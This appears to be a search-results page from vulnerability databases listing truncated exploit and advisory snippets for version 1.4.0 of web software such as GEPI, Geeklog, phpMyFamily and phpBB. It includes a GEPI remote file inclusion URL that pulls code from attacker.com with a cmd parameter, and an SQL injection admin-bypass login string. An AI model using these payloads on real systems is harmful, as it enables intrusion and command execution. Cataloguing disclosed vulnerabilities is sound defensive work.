1296 matches found
GEPI 1.4.0 - '/gestion/savebackup.php' Remote File Inclusion
Package:- gepi 1.4.0 http://adullact.net/frs/download.php/992/gepi-1.4.0.tar.gz impact:- highly critical ..System Access.. vulnerable code:- include$GET'filename'; in gepi/gestion/savebackup.php Exploit:- http://localhost/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat...
GEPI <= 1.4.0 gestion/savebackup.php Remote File Include Vulnerability
Exploit for unknown platform in category web applications ====================================================================== GEPI Credits:- $um$id 0day.today 2018-01-02...
GEPI <= 1.4.0 gestion/savebackup.php Remote File Include Vulnerability
Package:- gepi 1.4.0 http://adullact.net/frs/download.php/992/gepi-1.4.0.tar.gz impact:- highly critical ..System Access.. vulnerable code:- include$GET'filename'; in gepi/gestion/savebackup.php Exploit:- http://localhost/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat...
JVN#83263796 SquirrelMail cross-site scripting vulnerability
Impact A malicious script may be executed on the user's web browser. Solution Products Affected SquirrelMail 1.4.0 - 1.4.6 Release Candidate...
Code injection
Multiple unspecified vulnerabilities in lib-common.php in Geeklog 1.4.0 before 1.4.0sr1 and 1.3.11 before 1.3.11sr4 allow remote attackers to include arbitrary local files and execute arbitrary code via 1 absolute paths in unspecified parameters and 2 the language cookie, as demonstrated for code...
Sql injection
Multiple SQL injection vulnerabilities in Geeklog 1.4.0 before 1.4.0sr1 and 1.3.11 before 1.3.11sr4 allow remote attackers to inject arbitrary SQL commands via the 1 userid variable to users.php or 2 sessid variable to lib-sessions.php...
CVE-2006-0824
Multiple unspecified vulnerabilities in lib-common.php in Geeklog 1.4.0 before 1.4.0sr1 and 1.3.11 before 1.3.11sr4 allow remote attackers to include arbitrary local files and execute arbitrary code via 1 absolute paths in unspecified parameters and 2 the language cookie, as demonstrated for code...
CuteNews 1.4.0 remote code execution
CuteNews 1.4.0 possibly prior versions remote code execution software: site: http://cutephp.com/ description: "Cute news is a powerful and easy for using news management system that use flat files to store its database. It supports comments, archives, search function, image uploading, backup...
phpMyFamily <= 1.4.0 Admin Bypass SQL Injection
Exploit for unknown platform in category web applications =============================================== phpMyFamily = 1.4.0 Admin Bypass SQL Injection =============================================== Tested with version 1.2.5 /str0ke Login as admin without pass: Login: "' OR 'a'='a' AND...
phpMyFamily <= 1.4.0 Admin Bypass SQL Injection
No description provided by source. Tested with version 1.2.5 /str0ke Login as admin without pass: Login: "' OR 'a'='a' AND admin='Y'/" without quotes Password: empty milw0rm.com 2005-03-21...
PT-2004-3152 · Phpmyfaq · Phpmyfaq
Name of the Vulnerable Software and Affected Versions: phpMyFAQ version 1.4.0 Description: The issue allows remote attackers to access the Image Manager without authorization, enabling them to upload or delete images via a direct request. Recommendations: For phpMyFAQ version 1.4.0, consider...
[SA13414] PHP Gift Registry "message" Cross-Site Scripting Vulnerabilities
TITLE: PHP Gift Registry "message" Cross-Site Scripting Vulnerabilities SECUNIA ADVISORY ID: SA13414 VERIFY ADVISORY: http://secunia.com/advisories/13414/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: PHP Gift Registry 1.x http://secunia.com/product/4369/...
CVE-2002-0941
The ConsoleCallBack class for nCipher running under JRE 1.4.0 and 1.4.001, as used by the TrustedCodeTool and possibly other applications, may leak a passphrase when the user aborts an application that is prompting for the passphrase, which could allow attackers to gain privileges...
CVE-2002-0941
The CVE-2002-0941 entry concerns the ConsoleCallBack class for nCipher running under JRE 1.4.0 and 1.4.0_01, used by the TrustedCodeTool and possibly other applications. The issue is a passphrase leak that occurs when a user aborts an application prompting for the passphrase, which could allow an...
phpBB does not adequately validate user input for language selection thereby allowing user to execute arbitrary php code
Overview phpBB is an open-source bulletin board program. A user input validation problem exists with regard to language settings. An intruder can excute arbitrary php code and gain a shell with the privileges of the web server on the system. Description Version 1.4.0 and earlier have a user input...
PT-2001-2561 · Phpbb · Phpbb
Name of the Vulnerable Software and Affected Versions: phpBB versions 1.4.0 and earlier Description: The issue allows remote authenticated users to execute arbitrary PHP code via an invalid language value. This prevents the variables $l statsblock in prefs.php or $l privnotify in auth.php from...